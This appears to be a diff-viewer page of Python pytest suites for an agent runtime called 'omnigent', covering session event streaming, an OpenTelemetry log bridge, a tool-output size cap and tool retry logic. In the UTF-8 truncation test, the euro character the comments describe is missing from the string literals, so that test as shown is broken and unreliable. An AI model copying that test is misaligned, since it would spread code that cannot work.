t2 = asyncio.create_task(_collect("conv_fan", expected=2))
# Yield until both subscribers are registered. Two cycles
# because each task needs a turn to enter its async generator.
await asyncio.sleep(0)
await asyncio.sleep(0)
session_stream.publish("conv_fan", {"type": "x", "i": 1})
session_stream.publish("conv_fan", {"type": "x", "i": 2})
r1, r2 = await asyncio.wait_for(asyncio.gather(t1, t2), timeout=2.0)
# Both subscribers see ALL events — that's the fan-out contract.
expected = [{"type": "x", "i": 1}, {"type": "x", "i": 2}]
assert r1 == expected, (
f"Subscriber 1 received {r1!r}, expected {expected!r}. "
f"Missing events indicate a single-consumer queue regression "
f"(events being stolen by subscriber 2)."
)
assert r2 == expected, (
f"Subscriber 2 received {r2!r}, expected {expected!r}. "
f"Missing events indicate a single-consumer queue regression "
f"(events being stolen by subscriber 1)."
)
@pytest.mark.asyncio
async def test_close_broadcasts_done_to_all_subscribers() -> None:
"""
``close`` signals end-of-stream to every connected subscriber.
Production breakage that causes this test to fail: ``close``
delivers to only one subscriber (off-by-one bug in the iter-and-
fan-out logic), OR ``close`` fails to terminate a subscriber's
async generator (regression to a polling loop). The
session-lifecycle path uses ``close`` to clean-disconnect all
SSE consumers at session-end; missing terminations leak
sockets.
"""
out1: list[dict[str, Any]] = []
out2: list[dict[str, Any]] = []
async def drain(buf: list[dict[str, Any]]) -> None:
async for event in session_stream.subscribe("conv_close"):
buf.append(event)
t1 = asyncio.create_task(drain(out1))
t2 = asyncio.create_task(drain(out2))
await asyncio.sleep(0)
await asyncio.sleep(0)
session_stream.publish("conv_close", {"type": "a", "i": 1})
session_stream.close("conv_close")
# Both subscribers terminate cleanly under the close sentinel.
await asyncio.wait_for(asyncio.gather(t1, t2), timeout=2.0)
assert out1 == [{"type": "a", "i": 1}], (
f"Subscriber 1 saw {out1!r}; close should have delivered the event before terminating."
)
assert out2 == [{"type": "a", "i": 1}], (
f"Subscriber 2 saw {out2!r}; close should have delivered the event before terminating."
)
@pytest.mark.asyncio
async def test_subscriber_slot_cleaned_up_on_exit() -> None:
"""
Exiting the subscribe iterator removes the slot from the registry.
Production breakage that causes this test to fail: the
``finally`` block in ``subscribe`` doesn't tear down the slot,
leaking a queue per disconnect. Over many client reconnects,
leaked queues accumulate ``call_soon_threadsafe`` callbacks that
never get drained, eventually causing memory pressure.
"""
task = asyncio.create_task(_collect("conv_clean", expected=1))
await asyncio.sleep(0)
# Verify the slot exists during the subscribe.
assert "conv_clean" in session_stream._subscribers, (
f"Expected a slot for conv_clean during active subscribe. "
f"State: {session_stream._subscribers!r}"
)
session_stream.publish("conv_clean", {"type": "a"})
await asyncio.wait_for(task, timeout=2.0)
# After the subscriber exits, the slot must be gone (the last
# subscriber-out pops the conv_id key entirely).
assert "conv_clean" not in session_stream._subscribers, (
f"Slot leak after subscriber exit. State: {session_stream._subscribers!r}"
)
# ── Side-channel: pending-elicitations index ─────────────────────────
def test_publishing_elicitation_event_updates_pending_index() -> None:
"""
Publishing a ``response.elicitation_request`` event registers
the elicitation in the per-conversation pending index.
The index is the cross-session signal the sidebar reads to badge
sessions with outstanding approval prompts. Wiring it to
``session_stream.publish`` is what makes the count visible
regardless of which process emitted the event (server-side
policy, claude-native hook, or runner-relayed). A regression
that decouples them would silently break the sidebar for every
session whose chat isn't currently open.
"""
from omnigent.runtime import pending_elicitations
pending_elicitations.reset_for_tests()
session_stream.publish(
"conv_p",
{
"type": "response.elicitation_request",
"elicitation_id": "elicit_publish_test",
},
)
# 1 = the publish side-channel ran. If 0, the import or call
# in ``session_stream.publish`` was removed; the sidebar's
# cross-session badge becomes a dead feature.
assert pending_elicitations.count_for("conv_p") == 1
pending_elicitations.reset_for_tests()
def test_publishing_non_elicitation_event_leaves_pending_index_untouched() -> None:
"""
A regular SSE event (text delta, status, completion) does NOT
register anything in the pending index.
``record_publish`` filters on event type, but this test pins it
end-to-end through the publish call — if a future refactor
inverts the filter or removes it, this catches the over-counting
immediately. Without this guard, every text delta would inflate
the sidebar badge.
"""
from omnigent.runtime import pending_elicitations
pending_elicitations.reset_for_tests()
session_stream.publish(
"conv_q",
{"type": "response.output_text.delta", "delta": "hello"},
)
session_stream.publish("conv_q", {"type": "response.completed"})
# 0 = type-filter is intact. > 0 here would mean every delta /
# completion event creates a phantom pending entry.
assert pending_elicitations.count_for("conv_q") == 0
pending_elicitations.reset_for_tests()
# ── Idle keepalive: session.heartbeat ────────────────────────────────
@pytest.mark.asyncio
async def test_heartbeat_fires_on_idle_when_interval_set() -> None:
"""
Idle subscribers emit ``session.heartbeat`` on the configured cadence.
Production breakage that causes this test to fail: the idle
keepalive in :func:`subscribe` regresses (wrong timeout handling,
swallowed cancellation, off-by-one). The session-stream SSE route
relies on the heartbeat so that a half-open client socket (e.g.
after a laptop sleep) surfaces via the route's
``request.is_disconnected()`` check and the client's SSE
read-timeout. Without the keepalive, both can lag for minutes.
"""
# Short interval keeps the test fast. The production cadence
# (15s) is set at the route layer, not in this module.
gen = session_stream.subscribe("conv_hb_idle", heartbeat_interval_s=0.05)
try:
first = await asyncio.wait_for(gen.__anext__(), timeout=1.0)
second = await asyncio.wait_for(gen.__anext__(), timeout=1.0)
finally:
await gen.aclose()
# Both yields are synthetic heartbeats. The queue was never
# published to, so anything else means subscribe leaked state
# from a prior test or mis-typed the keepalive payload.
assert first == {"type": "session.heartbeat"}, (
f"First idle yield was {first!r}; expected the synthetic session.heartbeat keepalive."
)
assert second == {"type": "session.heartbeat"}, (
f"Second idle yield was {second!r}; expected another "
f"session.heartbeat (the keepalive must repeat, not fire once)."
)
@pytest.mark.asyncio
async def test_ready_event_emits_after_registration_before_snapshot() -> None:
"""
``ready_event`` acknowledges subscription before snapshot work runs.
Production breakage that causes this test to fail: the ready event
is yielded before registering the subscriber slot, after the
snapshot hook, or not at all. The SessionsChat one-shot path relies
on this ordering to know a no-replay SSE stream is subscribed
before it posts the user message.
"""
snapshot_started = asyncio.Event()
release_snapshot = asyncio.Event()
async def _snapshot() -> list[dict[str, Any]]:
"""
Block the snapshot hook until the test releases it.
:returns: A single snapshot event yielded after the ready event.
"""
snapshot_started.set()
await release_snapshot.wait()
return [{"type": "snapshot"}]
gen = session_stream.subscribe(
"conv_ready",
ready_event={"type": "session.heartbeat"},
on_subscribed=_snapshot,
)
try:
ready = await asyncio.wait_for(gen.__anext__(), timeout=1.0)
assert ready == {"type": "session.heartbeat"}
assert "conv_ready" in session_stream._subscribers, (
"ready_event must be emitted only after the subscriber slot "
"is registered; otherwise a fast producer can still publish "
"before the live-tail queue exists."
)
assert snapshot_started.is_set() is False, (
"ready_event must not wait behind snapshot work. The HTTP "
"client uses the first event as a low-latency stream-ready ack."
)
release_snapshot.set()
snapshot = await asyncio.wait_for(gen.__anext__(), timeout=1.0)
assert snapshot == {"type": "snapshot"}
finally:
await gen.aclose()
@pytest.mark.asyncio
async def test_heartbeat_interleaves_with_published_events() -> None:
"""
Real events override heartbeats; heartbeats resume when the queue empties.
Production breakage that causes this test to fail: heartbeat
bookkeeping eats a real event (e.g. the timeout handler swallows
a queued item) OR a real arrival fails to reset the keepalive
deadline. The first kills user-visible deltas; the second
floods the wire with heartbeats during active turns.
"""
gen = session_stream.subscribe("conv_hb_mix", heartbeat_interval_s=0.05)
try:
# Idle long enough for the first heartbeat to fire.
first = await asyncio.wait_for(gen.__anext__(), timeout=1.0)
assert first == {"type": "session.heartbeat"}
# Publish a real event; the next yield must be that event,
# NOT a heartbeat (the queue.get fires before the timeout).
session_stream.publish("conv_hb_mix", {"type": "real", "i": 1})
# ``call_soon_threadsafe`` enqueues the put; yield once so
# the producer side actually runs and the put_nowait lands
# on the queue before our wait_for starts.
await asyncio.sleep(0)
second = await asyncio.wait_for(gen.__anext__(), timeout=1.0)
assert second == {"type": "real", "i": 1}, (
f"After publishing a real event, the next yield was "
f"{second!r}; expected the real event. A heartbeat here "
f"means the timeout path swallowed the queued item."
)
# Going idle again restarts the heartbeat cadence.
third = await asyncio.wait_for(gen.__anext__(), timeout=1.0)
assert third == {"type": "session.heartbeat"}, (
f"After draining the real event, the next yield was "
f"{third!r}; expected a fresh heartbeat. If a real-event "
f"arrival fails to re-arm the idle timer, the keepalive "
f"would stall instead of resuming."
)
finally:
await gen.aclose()
@pytest.mark.asyncio
async def test_no_heartbeat_when_interval_unset() -> None:
"""
Default ``heartbeat_interval_s=None`` preserves the pure
event-driven shape.
Production breakage that causes this test to fail: someone
flips the default to a non-None value, which would add synthetic
events to every harness-internal consumer that doesn't expect
keepalives. The opt-in design keeps the new behavior scoped to
the route layer.
"""
gen = session_stream.subscribe("conv_hb_off")
try:
# No interval means the queue.get is a plain await. Nothing
# arrives, the wait_for boundary is what raises.
with pytest.raises(asyncio.TimeoutError):
await asyncio.wait_for(gen.__anext__(), timeout=0.2)
finally:
await gen.aclose()
# ── In-flight assistant-text replay ──────────────────────────
def test_publishing_text_delta_records_inflight_text() -> None:
"""
A text delta published through ``publish`` lands in the index.
Wires the in-flight-text side-channel to ``session_stream.publish``
(the single SSE chokepoint) so the ``/stream`` snapshot-on-connect
hook can replay the streamed-so-far text. A regression that drops
the ``inflight_text.record_publish`` call in ``publish`` would make
every reconnect lose the in-flight bubble again.
"""
from omnigent.runtime import inflight_text
inflight_text.reset_for_tests()
session_stream.publish(
"conv_ift",
{
"type": "response.created",
"response": {"id": "resp_1", "model": "nessie", "status": "queued", "created_at": 1},
},
)
session_stream.publish(
"conv_ift",
{"type": "response.output_text.delta", "delta": "streamed text"},
)
snap = inflight_text.snapshot_for("conv_ift")
# Non-empty replay = the publish side-channel ran. Empty here means
# the wiring was removed and the cross-reconnect recovery is dead.
assert snap[-1] == {"type": "response.output_text.delta", "delta": "streamed text"}, (
f"publish did not record in-flight text; got {snap!r}"
)
inflight_text.reset_for_tests()
def test_publishing_unrelated_event_leaves_inflight_index_untouched() -> None:
"""
A non-text, non-lifecycle event does not create an in-flight entry.
``record_publish`` filters on event type; this pins it end-to-end
through ``publish`` so a future refactor that inverts/removes the
filter (and starts replaying e.g. tool events as assistant text) is
caught immediately.
"""
from omnigent.runtime import inflight_text
inflight_text.reset_for_tests()
session_stream.publish(
"conv_ift2",
{"type": "response.elicitation_request", "elicitation_id": "elicit_1"},
)
# No lifecycle/text event → nothing tracked. A non-empty result
# would mean unrelated events inflate the replay.
assert inflight_text.snapshot_for("conv_ift2") == []
inflight_text.reset_for_tests()
@pytest.mark.asyncio
async def test_publish_withholds_committed_native_duplicate_from_live_stream() -> None:
"""
A trailing chunk for an already-committed native message isn't fanned out.
This is the LIVE half of the claude-native double-render fix:
``record_publish`` returns a suppress verdict for a
``response.output_text.delta`` whose message already committed, and
``publish`` must WITHHOLD it from connected subscribers. The old order
(fan out first, record after) could only scrub the reconnect snapshot
— it could never un-send a delta already on a live subscriber's queue,
which is exactly the duplicate users saw.
Reproduces the single-chunk race: the message's ``output_item.done``
(broadcast as ``response.output_item.done``) arrives before its lone
``final`` delta. The subscriber must see the committed item and a later
sentinel, but NOT the duplicate delta wedged between them.
"""
from omnigent.runtime import inflight_text
inflight_text.reset_for_tests()
cid = "conv_live_gate"
committed = {
"type": "response.output_item.done",
"item": {
"type": "message",
"role": "assistant",
"id": "ci_1",
"content": [{"type": "output_text", "text": "Hi there"}],
},
}
# Same text as the commit → matches it → suppressed from the live tail.
duplicate_delta = {
"type": "response.output_text.delta",
"delta": "Hi there",
"message_id": "m1",
"index": 0,
"final": True,
}
sentinel = {"type": "marker", "i": 1}
task = asyncio.create_task(_collect(cid, expected=2))
# Yield so the subscriber registers its slot before we publish.
await asyncio.sleep(0)
session_stream.publish(cid, committed) # broadcast; buffers the fingerprint
session_stream.publish(cid, duplicate_delta) # matches commit → withheld
session_stream.publish(cid, sentinel) # broadcast
received = await asyncio.wait_for(task, timeout=2.0)
# The committed item and the sentinel arrive; the duplicate delta does
# NOT. If the live gate regressed, received would be 3 events with the
# delta wedged in the middle (and `_collect` would have returned the
# first two: committed + delta).
assert received == [committed, sentinel], (
"the duplicate trailing chunk of an already-committed native "
f"message must be withheld from the live stream; got {received!r}"
)
inflight_text.reset_for_tests()
@pytest.mark.asyncio
async def test_inflight_replay_via_pre_ready_snapshot_does_not_duplicate_window_deltas() -> None:
"""
A delta streamed in the ready_event gap renders once, not twice.
Reproduces the real ``/stream`` subscribe shape and the double-render
regression. The route passes BOTH ``ready_event`` (the subscription
ack heartbeat, yielded first — which SUSPENDS the generator) and
``pre_ready_snapshot`` (the in-flight text replay). The relay
keeps publishing deltas during the post-``ready_event`` gap. The fix
captures the replay snapshot synchronously at slot registration —
before the suspension — so a gap delta lands ONLY on the live tail,
not in both the replay and the tail.
1. A turn streams ``response.created`` + two deltas with NO
subscriber connected — lost to the live stream (no replay
buffer), recoverable only from the in-flight index.
2. A client subscribes with ``ready_event`` + ``pre_ready_snapshot``,
exactly as the route does.
3. After the ack arrives, the relay publishes one more delta ("!")
in the gap. The slot is registered, so it joins the live tail;
the snapshot was already frozen at registration without it.
4. The bubble renders the recovered prefix once + the gap delta once.
Breakage that turns this red: moving the snapshot read back behind
``yield ready_event`` (into the async ``on_subscribed`` hook). Then
"!" is in BOTH the replayed snapshot text AND the live tail, and the
bubble renders "Hello world!!" instead of "Hello world!".
"""
from omnigent.runtime import inflight_text
inflight_text.reset_for_tests()
cid = "conv_window"
created = {
"type": "response.created",
"response": {"id": "resp_1", "model": "nessie", "status": "in_progress", "created_at": 1},
}
# (1) Prefix streamed before any subscriber connected — only in the
# in-flight index, never on a queue.
session_stream.publish(cid, created)
session_stream.publish(cid, {"type": "response.output_text.delta", "delta": "Hello "})
session_stream.publish(cid, {"type": "response.output_text.delta", "delta": "world"})
# (2) Exactly what the /stream route passes: a sync pre_ready_snapshot
# reading the real index, plus the ready_event ack. The snapshot is
# captured synchronously inside this first __anext__, before the
# ready_event below is yielded.
gen = session_stream.subscribe(
cid,
ready_event={"type": "session.heartbeat"},
pre_ready_snapshot=lambda: inflight_text.snapshot_for(cid),
)
deltas: list[str] = []
created_replays = 0
try:
ev0 = await asyncio.wait_for(gen.__anext__(), timeout=1.0)
# The ack is first; the replay snapshot is already frozen.
assert ev0 == {"type": "session.heartbeat"}, f"expected ready_event ack first, got {ev0!r}"
# (3) Gap publish: slot is registered, so "!" lands on the live
# tail; the frozen snapshot does not contain it.
session_stream.publish(cid, {"type": "response.output_text.delta", "delta": "!"})
# Drain the replay (created + joined prefix) then the live tail.
for _ in range(8):
try:
ev = await asyncio.wait_for(gen.__anext__(), timeout=0.3)
except asyncio.TimeoutError:
break
if ev.get("type") == "response.created":
created_replays += 1
elif ev.get("type") == "response.output_text.delta":
deltas.append(ev["delta"])
finally:
await gen.aclose()
inflight_text.reset_for_tests()
# (4) Recovered prefix once + gap delta once. "Hello world!!" (or
# "Hello worldHello world!") would mean the gap delta was counted in
# both the replay and the live tail — the double-render.
assert "".join(deltas) == "Hello world!", (
f"rendered bubble was {''.join(deltas)!r}; expected 'Hello world!' "
f"(prefix once + gap delta once). A duplicate means the snapshot "
f"read drifted back behind the ready_event yield."
)
# Exactly one replayed response.created opens the bubble once; a
# second would re-open it and (in append-only clients) duplicate.
assert created_replays == 1, f"expected 1 replayed response.created, got {created_replays}"
# The joined prefix is replayed exactly once across all deltas.
assert deltas.count("Hello world") == 1, (
f"joined prefix should be replayed exactly once, got deltas={deltas!r}"
)
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,10 @@
"""Telemetry integration tests.
The DefaultExecutor tests that formerly lived here were removed when
DefaultExecutor was deleted — production dispatch routes through
harness subprocesses over HTTP; the in-process executor is no longer
part of the codebase.
Per-harness telemetry is exercised by the harness-specific test
suites under ``tests/inner/``.
"""
+282
View File
@@ -0,0 +1,282 @@
"""
Unit tests for the OTel log bridge wired up in
``omnigent.runtime.telemetry``.
Exercises ``_init_otel_logs`` and verifies that log records emitted
inside an active span carry the span's trace_id and span_id once the
bridge is installed.
"""
from __future__ import annotations
import contextlib
import logging
from collections.abc import Iterator
import pytest
from opentelemetry import trace as otel_trace
from opentelemetry._logs import set_logger_provider
from opentelemetry.sdk._logs import LoggerProvider, LoggingHandler
from opentelemetry.sdk._logs.export import (
InMemoryLogRecordExporter,
SimpleLogRecordProcessor,
)
from opentelemetry.sdk.trace import TracerProvider
from omnigent.runtime import telemetry
_BRIDGE_NAME = "omnigent-otel-log-bridge"
def _remove_bridge_handlers() -> None:
"""
Strip any leftover OTel log bridge handlers from the root logger.
The root logger is process-global. Without an explicit cleanup
step, handlers attached by one test leak into the next. Each
handler's provider is shut down so its background batch flush
thread stops before pytest exits.
:returns: ``None``.
"""
root_logger = logging.getLogger()
for handler in list(root_logger.handlers):
if handler.get_name() != _BRIDGE_NAME:
continue
provider = getattr(handler, "_logger_provider", None)
root_logger.removeHandler(handler)
if provider is not None and hasattr(provider, "shutdown"):
with contextlib.suppress(Exception):
provider.shutdown()
@pytest.fixture(autouse=True)
def _opt_in_telemetry(monkeypatch: pytest.MonkeyPatch) -> Iterator[None]:
"""
Telemetry is opt-in (``OMNIGENT_TELEMETRY_ENABLED``, off by default);
these log-bridge tests opt in for every test, and reset global tracing
state afterward so init()/enable_tracing() can't leak into other suites.
:param monkeypatch: Pytest monkeypatch fixture.
"""
monkeypatch.setenv("OMNIGENT_TELEMETRY_ENABLED", "true")
try:
yield
finally:
from omnigent.inner.tracing import disable_tracing
disable_tracing()
telemetry._initialized = False
@pytest.fixture
def reset_log_state(monkeypatch: pytest.MonkeyPatch) -> Iterator[None]:
"""
Reset the telemetry log bridge state between tests.
Removes any handler the test installed on the root logger and
clears the module-level ``_logs_initialized`` guard so the next
test starts fresh.
:param monkeypatch: Pytest monkeypatch fixture.
"""
monkeypatch.setattr(telemetry, "_logs_initialized", False)
_remove_bridge_handlers()
yield
_remove_bridge_handlers()
monkeypatch.setattr(telemetry, "_logs_initialized", False)
# ── _logs_exporter_name ─────────────────────────────────
def test_logs_exporter_name_otlp_from_endpoint(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
When only ``OTEL_EXPORTER_OTLP_ENDPOINT`` is set, the helper
returns ``"otlp"`` so logs ride the same OTLP path as traces.
:param monkeypatch: Pytest monkeypatch fixture.
"""
monkeypatch.delenv("OTEL_LOGS_EXPORTER", raising=False)
monkeypatch.setenv("OTEL_EXPORTER_OTLP_ENDPOINT", "http://localhost:4317")
assert telemetry._logs_exporter_name() == "otlp"
def test_logs_exporter_name_none_when_unset(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
With no endpoint and no explicit exporter, logs default off.
:param monkeypatch: Pytest monkeypatch fixture.
"""
monkeypatch.delenv("OTEL_LOGS_EXPORTER", raising=False)
monkeypatch.delenv("OTEL_EXPORTER_OTLP_ENDPOINT", raising=False)
assert telemetry._logs_exporter_name() == "none"
def test_logs_exporter_name_explicit_none_wins(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
Operators can pin ``OTEL_LOGS_EXPORTER=none`` even when an OTLP
endpoint is configured for traces.
:param monkeypatch: Pytest monkeypatch fixture.
"""
monkeypatch.setenv("OTEL_LOGS_EXPORTER", "none")
monkeypatch.setenv("OTEL_EXPORTER_OTLP_ENDPOINT", "http://localhost:4317")
assert telemetry._logs_exporter_name() == "none"
# ── _init_otel_logs ─────────────────────────────────────
def test_init_otel_logs_attaches_handler_with_endpoint(
monkeypatch: pytest.MonkeyPatch,
reset_log_state: None,
) -> None:
"""
With an OTLP endpoint set, ``_init_otel_logs`` installs a
``LoggingHandler`` on the root logger so logs flow into the OTel
bridge.
:param monkeypatch: Pytest monkeypatch fixture.
:param reset_log_state: Bridge state reset fixture.
"""
monkeypatch.setenv("OTEL_EXPORTER_OTLP_ENDPOINT", "http://localhost:4317")
monkeypatch.delenv("OTEL_LOGS_EXPORTER", raising=False)
telemetry._init_otel_logs()
root_logger = logging.getLogger()
bridge_handlers = [
handler for handler in root_logger.handlers if handler.get_name() == _BRIDGE_NAME
]
assert len(bridge_handlers) == 1, (
f"expected exactly one OTel log bridge handler, got {len(bridge_handlers)}"
)
assert isinstance(bridge_handlers[0], LoggingHandler)
def test_init_otel_logs_noop_without_endpoint(
monkeypatch: pytest.MonkeyPatch,
reset_log_state: None,
) -> None:
"""
With no endpoint and no explicit exporter, no handler is
attached. Operators who never opt in pay no overhead.
:param monkeypatch: Pytest monkeypatch fixture.
:param reset_log_state: Bridge state reset fixture.
"""
monkeypatch.delenv("OTEL_EXPORTER_OTLP_ENDPOINT", raising=False)
monkeypatch.delenv("OTEL_LOGS_EXPORTER", raising=False)
telemetry._init_otel_logs()
root_logger = logging.getLogger()
bridge_handlers = [
handler for handler in root_logger.handlers if handler.get_name() == _BRIDGE_NAME
]
assert bridge_handlers == [], (
"expected no OTel log bridge handler when no endpoint is configured"
)
def test_init_otel_logs_idempotent_via_init(
monkeypatch: pytest.MonkeyPatch,
reset_log_state: None,
) -> None:
"""
Calling :func:`telemetry.init` twice does not stack a second
OTel log bridge handler on the root logger.
:param monkeypatch: Pytest monkeypatch fixture.
:param reset_log_state: Bridge state reset fixture.
"""
monkeypatch.setenv("OTEL_EXPORTER_OTLP_ENDPOINT", "http://localhost:4317")
monkeypatch.delenv("OTEL_LOGS_EXPORTER", raising=False)
monkeypatch.setenv("OTEL_METRICS_EXPORTER", "none")
monkeypatch.setattr(telemetry, "_initialized", False)
monkeypatch.setattr(telemetry, "_metrics_initialized", False)
telemetry.init()
# Reset the one-shot guard so init() runs again and we can
# verify the bridge does not double-attach.
monkeypatch.setattr(telemetry, "_initialized", False)
monkeypatch.setattr(telemetry, "_logs_initialized", False)
telemetry.init()
root_logger = logging.getLogger()
bridge_handlers = [
handler for handler in root_logger.handlers if handler.get_name() == _BRIDGE_NAME
]
assert len(bridge_handlers) == 1, (
f"expected exactly one OTel log bridge handler after two init() "
f"calls, got {len(bridge_handlers)}"
)
# ── trace_id / span_id propagation ──────────────────────
def test_log_emitted_in_span_carries_trace_and_span_ids(
monkeypatch: pytest.MonkeyPatch,
reset_log_state: None,
) -> None:
"""
A log record emitted inside an active span carries the span's
trace_id and span_id on the exported ``LogRecord``.
Uses an ``InMemoryLogRecordExporter`` wired through a fresh
``LoggerProvider`` so the test never touches the network and
can assert directly on emitted records.
:param monkeypatch: Pytest monkeypatch fixture.
:param reset_log_state: Bridge state reset fixture.
"""
# Fresh OTel tracer provider so we control the trace context.
tracer_provider = TracerProvider()
otel_trace._TRACER_PROVIDER = tracer_provider # type: ignore[attr-defined]
otel_trace._TRACER_PROVIDER_SET_ONCE._done = True # type: ignore[attr-defined]
log_exporter = InMemoryLogRecordExporter()
log_provider = LoggerProvider()
log_provider.add_log_record_processor(SimpleLogRecordProcessor(log_exporter))
set_logger_provider(log_provider)
handler = LoggingHandler(logger_provider=log_provider, level=logging.DEBUG)
handler.set_name(_BRIDGE_NAME)
root_logger = logging.getLogger()
root_logger.addHandler(handler)
previous_level = root_logger.level
root_logger.setLevel(logging.DEBUG)
try:
tracer = otel_trace.get_tracer("tests.runtime.telemetry_logs")
with tracer.start_as_current_span("test-span") as span:
expected_trace_id = span.get_span_context().trace_id
expected_span_id = span.get_span_context().span_id
logging.getLogger("omnigent.test").info("hello from inside the span")
finally:
root_logger.setLevel(previous_level)
records = log_exporter.get_finished_logs()
matched = [
record for record in records if record.log_record.body == "hello from inside the span"
]
assert len(matched) == 1, (
f"expected one matching log record, got {len(matched)} (total records: {len(records)})"
)
log_record = matched[0].log_record
assert log_record.trace_id == expected_trace_id, (
f"log trace_id {log_record.trace_id:032x} does not match "
f"span trace_id {expected_trace_id:032x}"
)
assert log_record.span_id == expected_span_id, (
f"log span_id {log_record.span_id:016x} does not match "
f"span span_id {expected_span_id:016x}"
)
+57
View File
@@ -0,0 +1,57 @@
"""
Tests for :func:`omnigent.runtime.tool_output.cap_tool_output` — the canonical
size cap applied to every ``function_call_output`` producer's ``output`` field.
Each assertion is chosen so the corresponding production breakage turns it red.
"""
from __future__ import annotations
from omnigent.runtime.tool_output import MAX_TOOL_OUTPUT_BYTES, cap_tool_output
_TRUNCATION_MARKER = "[output truncated by omnigent:"
def test_cap_tool_output_passes_through_when_within_cap() -> None:
"""A tool result at or under the cap is returned unchanged (same object)."""
small = "hello world"
# `is` (not just ==) proves no re-encode/copy on the common path.
assert cap_tool_output(small) is small
# Exactly at the cap is still within bounds — the check is `<=`, so a
# full-size-but-not-over result must hit the same no-copy passthrough
# (`is`), not fall into the truncation branch (which builds a new string).
at_cap = "x" * MAX_TOOL_OUTPUT_BYTES
assert cap_tool_output(at_cap) is at_cap
assert _TRUNCATION_MARKER not in cap_tool_output(at_cap)
def test_cap_tool_output_truncates_when_over_cap() -> None:
"""An over-cap result is truncated to the cap plus a byte-accurate notice."""
over = 50_000
big = "x" * (MAX_TOOL_OUTPUT_BYTES + over)
capped = cap_tool_output(big)
# The kept prefix is exactly the first MAX_TOOL_OUTPUT_BYTES bytes...
assert capped.startswith("x" * MAX_TOOL_OUTPUT_BYTES)
# ...followed by the notice naming how many bytes were dropped. If `over`
# is reported wrong, the byte arithmetic in cap_tool_output regressed.
assert _TRUNCATION_MARKER in capped
assert f"{over} of {MAX_TOOL_OUTPUT_BYTES + over} bytes omitted" in capped
# The whole capped string stays bounded: kept bytes + the short notice,
# never the multi-MB original. A failure here means truncation didn't fire.
assert len(capped.encode("utf-8")) < MAX_TOOL_OUTPUT_BYTES + over
def test_cap_tool_output_truncates_on_a_character_boundary() -> None:
"""Truncation never splits a multibyte UTF-8 char (no decode error / U+FFFD)."""
# "€" is 3 UTF-8 bytes. Sizing the string so the byte cap lands mid-char
# forces the boundary logic: cap+1 chars => 3*(cap+1) bytes, well over cap,
# and MAX_TOOL_OUTPUT_BYTES is not a multiple of 3, so the cap splits a char.
euros = "" * (MAX_TOOL_OUTPUT_BYTES + 1)
capped = cap_tool_output(euros)
# decode("utf-8") on the kept prefix would have raised / inserted U+FFFD if
# a partial char survived; assert clean euros only before the notice.
kept = capped.split("\n\n" + _TRUNCATION_MARKER)[0]
assert "" not in kept
assert set(kept) == {""}
# The kept prefix is the largest whole-char run within the byte cap.
assert len(kept.encode("utf-8")) <= MAX_TOOL_OUTPUT_BYTES
assert len(kept.encode("utf-8")) > MAX_TOOL_OUTPUT_BYTES - 3
+524
View File
@@ -0,0 +1,524 @@
"""Tests for tool retry logic: timeout resolution, retry resolution, and execution."""
from __future__ import annotations
import time
from collections.abc import Callable
from typing import Any
from unittest.mock import MagicMock
import pytest
from omnigent.runtime.tool_retry import (
call_tool_with_timeout,
execute_tool_with_retry,
resolve_tool_retry,
resolve_tool_timeout,
)
from omnigent.spec.types import RetryPolicy, ToolsConfig
@pytest.fixture()
def global_tools_config() -> ToolsConfig:
"""
A ToolsConfig with explicit global defaults for timeout and retry.
:returns: ToolsConfig with timeout=60, retry max_retries=2.
"""
return ToolsConfig(
timeout=60,
retry=RetryPolicy(max_retries=2, backoff_base_s=1.0, backoff_max_s=10.0),
)
@pytest.fixture()
def captured_events() -> list[dict[str, Any]]:
"""
Mutable list that accumulates on_event dicts during test execution.
:returns: Empty list that tests inspect after calling execute_tool_with_retry.
"""
return []
@pytest.fixture()
def on_event(captured_events: list[dict[str, Any]]) -> MagicMock:
"""
An on_event callback that records every dict it receives.
:returns: A MagicMock whose side_effect appends to captured_events.
"""
return MagicMock(side_effect=lambda evt: captured_events.append(evt))
# -- resolve_tool_timeout --
def test_resolve_tool_timeout_uses_per_tool_override(
global_tools_config: ToolsConfig,
) -> None:
"""Per-tool timeout takes precedence over the global default."""
result = resolve_tool_timeout(
tool_name="my_tool",
tools_config=global_tools_config,
per_tool_timeout=120,
)
# Per-tool override (120) must win over global (60).
# Failure means the function ignores the per-tool value.
assert result == 120
def test_resolve_tool_timeout_falls_back_to_global(
global_tools_config: ToolsConfig,
) -> None:
"""When per-tool timeout is None, the global timeout is returned."""
result = resolve_tool_timeout(
tool_name="my_tool",
tools_config=global_tools_config,
per_tool_timeout=None,
)
# Should fall back to global_tools_config.timeout (60).
# Failure means the function does not honour the global default.
assert result == 60
# -- resolve_tool_retry --
def test_resolve_tool_retry_uses_per_tool_override(
global_tools_config: ToolsConfig,
) -> None:
"""Per-tool retry config takes precedence over the global default."""
per_tool = RetryPolicy(max_retries=5, backoff_base_s=3.0, backoff_max_s=60.0)
result = resolve_tool_retry(
tool_name="my_tool",
tools_config=global_tools_config,
per_tool_retry=per_tool,
)
# The returned config must be the per-tool override, not the global.
# Failure means the function ignores the per-tool retry config.
assert result is per_tool
assert result.max_retries == 5
def test_resolve_tool_retry_falls_back_to_global(
global_tools_config: ToolsConfig,
) -> None:
"""When per-tool retry is None, the global retry config is returned."""
result = resolve_tool_retry(
tool_name="my_tool",
tools_config=global_tools_config,
per_tool_retry=None,
)
# Should fall back to global_tools_config.retry.
# Failure means the function does not honour the global default.
assert result is global_tools_config.retry
assert result.max_retries == 2
# -- call_tool_with_timeout --
def test_call_tool_with_timeout_succeeds() -> None:
"""A fast tool returns its result within the deadline."""
result = call_tool_with_timeout(lambda: "ok", timeout=5)
# The tool finished instantly so the result must be "ok".
# Failure means the function lost the return value or raised unexpectedly.
assert result == "ok"
def test_call_tool_with_timeout_raises_on_slow_tool() -> None:
"""A tool that exceeds its deadline raises TimeoutError."""
def slow_tool() -> str:
"""Simulates a tool that takes longer than the allowed timeout."""
time.sleep(2)
return "late"
# timeout=1 is shorter than the 2s sleep inside slow_tool.
# Failure means the timeout enforcement is broken.
with pytest.raises(TimeoutError, match="timed out"):
call_tool_with_timeout(slow_tool, timeout=1)
# -- execute_tool_with_retry --
def test_execute_tool_with_retry_success_first_attempt(
on_event: MagicMock,
captured_events: list[dict[str, Any]],
) -> None:
"""When the tool succeeds on the first attempt, no retry events are emitted."""
